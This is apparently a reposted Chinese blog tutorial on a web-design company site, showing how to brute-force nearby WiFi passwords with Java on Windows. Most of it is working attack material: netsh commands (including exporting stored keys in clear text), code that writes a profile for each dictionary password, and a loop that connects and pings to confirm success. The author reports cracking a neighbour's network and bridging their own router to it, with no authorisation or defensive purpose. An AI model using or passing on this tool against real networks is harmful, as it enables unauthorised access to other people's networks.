真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

使用Java怎么暴力破解WIFI密碼

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)使用Java怎么暴力破解WIFI密碼,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

成都創(chuàng)新互聯(lián)專注于網(wǎng)站建設(shè),為客戶提供成都做網(wǎng)站、成都網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)開(kāi)發(fā)服務(wù),多年建網(wǎng)站服務(wù)經(jīng)驗(yàn),各類(lèi)網(wǎng)站都可以開(kāi)發(fā),品牌網(wǎng)站設(shè)計(jì),公司官網(wǎng),公司展示網(wǎng)站,網(wǎng)站設(shè)計(jì),建網(wǎng)站費(fèi)用,建網(wǎng)站多少錢(qián),價(jià)格優(yōu)惠,收費(fèi)合理。

一、準(zhǔn)備工作

首先你得需要一臺(tái)能連wifi的電腦,
然后你的電腦得支持Java環(huán)境,
最后你周?chē)糜袩o(wú)線網(wǎng)絡(luò)。

ok,話不多說(shuō),說(shuō)開(kāi)擼,老夫就要開(kāi)擼。于是網(wǎng)上找到了windows下cmd無(wú)線網(wǎng)絡(luò)操作的相關(guān)命令。如下:

// 列出所有可用wifi
netsh wlan show networks mode=bssid
// 添加配置文件
netsh wlan add profile filename=FILE_NAME
// 連接wifi
netsh wlan connect name=SSID_NAME
// 導(dǎo)出配置文件
netsh wlan export profile key=clear
// 列出配置文件
netsh wlan show profile
// 刪除配置文件
netsh wlan delete profile name=FILE_NAME
// 列出接口
netsh wlan show interface
// 開(kāi)啟接口
netsh interface set interface "Interface Name" enabled

首先需要寫(xiě)配置文件,方便待會(huì)使用。首先我們可以看看配置文件張啥樣,導(dǎo)出配置文件看看就知道了。打開(kāi)命令行,輸入這我這篇文章中,主要會(huì)用到前四個(gè)命令,其他的命令就當(dāng)給各位做拓展了。

netsh wlan export profile key=clear

就導(dǎo)出了配置文件,注意,這兒的配置文件默認(rèn)導(dǎo)出在cmd執(zhí)行的當(dāng)前路徑,如下,

我導(dǎo)出的文件就在 C:\Users\Admin 下面,可以看到文件都是wifi.xml方式。如 TP-LINK_5410.xml ,隨便打開(kāi)一個(gè)我們可以看到xml文件的具體內(nèi)容,但是有一些內(nèi)容是我們不需要的,我們需要的是下面這個(gè)樣子



SSID_NAME

  
    SSID_NAME
  

ESS
auto

  
    
      AUTH_TYPE
      AES
      false
    
    
      passPhrase
      false
      PASSWORD
    
  


  false

二、掃描WIFI

其中 SSID_NAME 是待會(huì)我們會(huì)用到的wifi名稱, AUTH_TYPE 是wifi的加密方式, PASSWORD 是我們會(huì)暴力破解的密碼變量。

OK,背景交代得差不多了,可以開(kāi)干了。首先掃描附近的WIFI,返回所有WIFI的信息,包括SSID、加密方式、信號(hào)強(qiáng)度(信號(hào)太弱的,我們就不進(jìn)行破解了,破解了也沒(méi)啥用)。掃描其實(shí)就是執(zhí)行一個(gè)CMD命令的問(wèn)題,先封裝一個(gè)CMD執(zhí)行器吧。

/**
 * 執(zhí)行器
 *
 * @param cmd   CMD命令
 * @param filePath 需要在哪個(gè)目錄下執(zhí)行
 */
private static List execute(String cmd, String filePath) {
  Process process = null;
  List result = new ArrayList();
  try {
    if (filePath != null) {
      process = Runtime.getRuntime().exec(cmd, null, new File(filePath));
    } else {
      process = Runtime.getRuntime().exec(cmd);
    }
    BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
    String line = null;
    while ((line = bReader.readLine()) != null) {
      result.add(line);
    }
  } catch (IOException e) {
    e.printStackTrace();
  }
  return result;
}
/**
 * 列出所有信號(hào)較好的ssid
 *
 * @return 所有ssid
 */
public static List listSsid() {
  List ssidList = new ArrayList();
  String cmd = Command.SHOW_NETWORKS;
  List result = execute(cmd, null);
  if (result != null && result.size() > 0) {
    // todo 整合信息
  }
  return ssidList;
}

然后掃描周?chē)鷚ifi信息,并返回相關(guān)信息

三、生成配置文件

OK,接下來(lái)我們就可以開(kāi)始針對(duì)每個(gè)不同的SSID生成不同的配置文件了,生成文件整個(gè)過(guò)程就是根據(jù)每個(gè)不同的密碼生成一個(gè)配置文件。大概代碼如下

/**
 * 配置文件生成器
 */
public class ProfileGenerator {
  private String ssid = null;
  private String passwrodPath = null;
  private ExecutorService threadPool = Executors.newFixedThreadPool(4);
  public ProfileGenerator(String ssid, String passwrodPath) {
    this.ssid = ssid;
    this.passwrodPath = passwrodPath;
  }
  /**
   * 生成配置文件
   */
  public void genProfile() {
    List passwordList = null;
    int counter = 0;
    outer:
    while (true) {
      int start = counter * Connector.BATH_SIZE;
      int end = (counter + 1) * Connector.BATH_SIZE - 1;
      passwordList = FileUtils.readLine(passwrodPath, start, end);
      if (passwordList != null && passwordList.size() > 0) {
        // 生成配置文件
        for (String password : passwordList) {
          GenThread genThread = new GenThread(ssid, password);
          threadPool.execute(genThread);
        }
      } else {
        break outer;
      }
      counter++;
    }
  }
}
class GenThread implements Runnable {
  private String ssid = null;
  private String password = null;
  GenThread(String ssid, String password) {
    this.ssid = ssid;
    this.password = password;
  }
  public void run() {
    String profileContent = Profile.PROFILE.replace(Profile.WIFI_NAME, ssid);
    profileContent = profileContent.replace(Profile.WIFI_PASSWORD, password);
    FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "\\" + password + ".xml", profileContent);
  }
}

需要哪些密碼可以自己現(xiàn)在網(wǎng)上找一些字典來(lái)跑,建議順序是 常用弱口令 => 字典面 => 隨機(jī)密碼(到了隨機(jī)密碼這兒,意義也不大了)。這兒給出一個(gè)常見(jiàn)弱口令的下載連接。反正我只用這個(gè)弱口令破解過(guò)一個(gè)WIFI。這兒為了加快文件生成速度,我開(kāi)啟了多線程。個(gè)人實(shí)際感受,如果只是幾千到幾萬(wàn)個(gè)的話,其實(shí)多線程不多線程,并沒(méi)有多大區(qū)別,真正的區(qū)別在于后面嘗試連接的時(shí)候。

四、遍歷校驗(yàn)配置文件

接下來(lái)就是最耗時(shí)的一步了,一個(gè)個(gè)密碼去校驗(yàn)。關(guān)鍵代碼如下

/**
 * 校驗(yàn)WLAN配置文件是否正確
 * 

 * 校驗(yàn)步驟為:  * ---step1 添加配置文件  * ---step3 連接wifi  * ---step3 ping校驗(yàn)  */ public synchronized boolean check(String ssid, String password) {   System.out.println("check : " + password);   try {     String profileName = password + ".xml";     if (addProfile(profileName)) {       if (connect(ssid)) {         Thread.sleep(50);         if (ping()) {           return true;         }       }     }   } catch (InterruptedException e) {     e.printStackTrace();   }   return false; } /**  * 添加配置文件  *  * @param profileName 添加配置文件  */ private static boolean addProfile(String profileName) {   String cmd = Command.ADD_PROFILE.replace("FILE_NAME", profileName);   List result = execute(cmd, Connector.PROFILE_TEMP_PATH);   if (result != null && result.size() > 0) {     if (result.get(0).contains("添加到接口")) {       return true;     }   }   return false; } /**  * 連接wifi  *  * @param ssid 添加配置文件  */ private static boolean connect(String ssid) {   boolean connected = false;   String cmd = Command.CONNECT.replace("SSID_NAME", ssid);   List result = execute(cmd, null);   if (result != null && result.size() > 0) {     if (result.get(0).contains("已成功完成")) {       connected = true;     }   }   return connected; } /**  * ping 校驗(yàn)  */ private static boolean ping() {   boolean pinged = false;   String cmd = "ping " + Connector.PING_DOMAIN;   List result = execute(cmd, null);   if (result != null && result.size() > 0) {     for (String item : result) {       if (item.contains("來(lái)自")) {         pinged = true;         break;       }     }   }   return pinged; }

兩點(diǎn)釋疑:

1. 為什么需要sleep(50)? 因?yàn)樵谶B接后,電腦沒(méi)有立即反應(yīng)過(guò)來(lái),此時(shí)去ping的話,就算密碼正確,都會(huì)ping不成功。所以需要sleep。我破解的時(shí)候sleep(1000)的,還沒(méi)測(cè)試50行不行。

2. 為什么需要ping網(wǎng)站? 因?yàn)樵诘诙竭B接的時(shí)候,不管有沒(méi)有連接成功,都會(huì)出現(xiàn) ‘已成功完成xx連接' 的字樣。所以沒(méi)辦法,只有用ping來(lái)校驗(yàn),不過(guò)我相信一定能夠優(yōu)化的。

這一步我開(kāi)啟了多線程,去驗(yàn)證,有人說(shuō)為什么用多線程,明明驗(yàn)證方法都 synchronized 了,我想說(shuō)的是,單線程的話,之間總會(huì)有間隙的,所以為了壓榨那一點(diǎn)點(diǎn)時(shí)間,我用了多線程。

五、連接成功

OK,至此,為師已將畢生功力傳授給你了,你出去就說(shuō)是三年經(jīng)驗(yàn)了。呸,說(shuō)錯(cuò)了,至此,整個(gè)流程大概就已經(jīng)出來(lái)了,接下來(lái)就run你的程序吧。等待密碼的破解。

我一共在我家周?chē)樯狭巳齻€(gè)信號(hào)看起來(lái)還可以的wifi。用這個(gè)程序跑了40多秒,開(kāi)了一個(gè)wifi的密碼 12345678。耶成功了終于可以用了。

然后根據(jù)密碼,把自家路由器設(shè)置一個(gè)橋接模式。家里處處都有網(wǎng)了。

上述就是小編為大家分享的使用Java怎么暴力破解WIFI密碼了,如果剛好有類(lèi)似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


當(dāng)前題目:使用Java怎么暴力破解WIFI密碼
URL鏈接:http://weahome.cn/article/gpedgg.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部